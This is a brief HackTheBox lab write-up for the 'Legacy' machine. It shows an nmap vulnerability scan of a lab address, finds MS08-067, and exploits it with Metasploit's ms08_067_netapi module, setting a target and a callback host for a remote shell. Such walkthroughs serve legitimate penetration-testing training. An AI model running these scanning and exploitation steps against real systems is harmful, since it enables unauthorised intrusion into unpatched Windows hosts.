Legacy
An easy Windows box from HackTheBox, enumerate that the box is Windows 2000 and vulnerable to MS08-067, run the exploit and get root.

See that the OS is Windows 2000, so run another nmap with all vuln scripts
sudo nmap -script vuln 10.10.10.4
Host script results:

See that its vulnerable to MS08-067 (and Eternal Blue, MS17-010)
Exploitation
Metasploit has a good script for this one, so opt to just use that
msfconsole
msf6 > search MS08-067

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
msf6 > use 0
Then set the variables RHOSTS and LHOST
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.15.4
lhost => 10.10.15.4
Then run the exploit and get root
